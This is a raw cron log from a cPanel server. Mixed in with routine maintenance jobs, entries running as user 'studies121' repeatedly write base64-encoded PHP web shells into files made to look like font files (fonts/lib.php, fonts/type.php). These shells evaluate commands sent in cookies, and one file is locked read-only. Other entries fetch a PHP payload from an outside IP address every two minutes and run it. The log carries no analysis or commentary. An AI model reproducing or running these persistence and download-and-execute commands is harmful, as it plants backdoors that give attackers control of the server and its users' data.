Sep 22 16:32:01 ip-184-168-122-23 CROND[28193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:32:01 ip-184-168-122-23 CROND[28194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:33:01 ip-184-168-122-23 CROND[28321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:33:01 ip-184-168-122-23 CROND[28322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:33:01 ip-184-168-122-23 CROND[28323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:33:01 ip-184-168-122-23 CROND[28324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:34:01 ip-184-168-122-23 CROND[28440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:34:01 ip-184-168-122-23 CROND[28442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:34:01 ip-184-168-122-23 CROND[28443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:34:01 ip-184-168-122-23 CROND[28444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:34:01 ip-184-168-122-23 CROND[28445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:35:01 ip-184-168-122-23 CROND[28660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:35:01 ip-184-168-122-23 CROND[28661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:35:01 ip-184-168-122-23 CROND[28666]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 16:35:01 ip-184-168-122-23 CROND[28669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:35:01 ip-184-168-122-23 CROND[28667]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 16:35:01 ip-184-168-122-23 CROND[28665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:35:01 ip-184-168-122-23 CROND[28664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:35:01 ip-184-168-122-23 CROND[28670]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:36:01 ip-184-168-122-23 CROND[28820]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:36:01 ip-184-168-122-23 CROND[28821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:36:01 ip-184-168-122-23 CROND[28824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:36:01 ip-184-168-122-23 CROND[28827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:36:01 ip-184-168-122-23 CROND[28829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:37:01 ip-184-168-122-23 CROND[28941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:37:01 ip-184-168-122-23 CROND[28943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:37:01 ip-184-168-122-23 CROND[28945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:37:01 ip-184-168-122-23 CROND[28946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:38:01 ip-184-168-122-23 CROND[29109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:38:01 ip-184-168-122-23 CROND[29110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:38:01 ip-184-168-122-23 CROND[29113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:38:01 ip-184-168-122-23 CROND[29115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:38:01 ip-184-168-122-23 CROND[29114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:39:01 ip-184-168-122-23 CROND[29258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:39:01 ip-184-168-122-23 CROND[29259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:39:01 ip-184-168-122-23 CROND[29262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:39:01 ip-184-168-122-23 CROND[29263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:39:01 ip-184-168-122-23 CROND[29264]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 16:40:01 ip-184-168-122-23 CROND[29416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 16:40:01 ip-184-168-122-23 CROND[29418]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:40:01 ip-184-168-122-23 CROND[29422]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:40:01 ip-184-168-122-23 CROND[29425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:40:01 ip-184-168-122-23 CROND[29426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:40:01 ip-184-168-122-23 CROND[29428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:40:01 ip-184-168-122-23 CROND[29427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:40:01 ip-184-168-122-23 CROND[29429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:41:01 ip-184-168-122-23 CROND[29572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:41:01 ip-184-168-122-23 CROND[29573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:41:01 ip-184-168-122-23 CROND[29576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:41:01 ip-184-168-122-23 CROND[29577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:42:02 ip-184-168-122-23 CROND[29709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:42:02 ip-184-168-122-23 CROND[29710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:42:02 ip-184-168-122-23 CROND[29712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:42:02 ip-184-168-122-23 CROND[29715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:42:02 ip-184-168-122-23 CROND[29713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:43:01 ip-184-168-122-23 CROND[29984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:43:01 ip-184-168-122-23 CROND[29986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:43:01 ip-184-168-122-23 CROND[29990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:43:01 ip-184-168-122-23 CROND[29989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:44:01 ip-184-168-122-23 CROND[30244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:44:01 ip-184-168-122-23 CROND[30246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:44:01 ip-184-168-122-23 CROND[30245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:44:01 ip-184-168-122-23 CROND[30250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
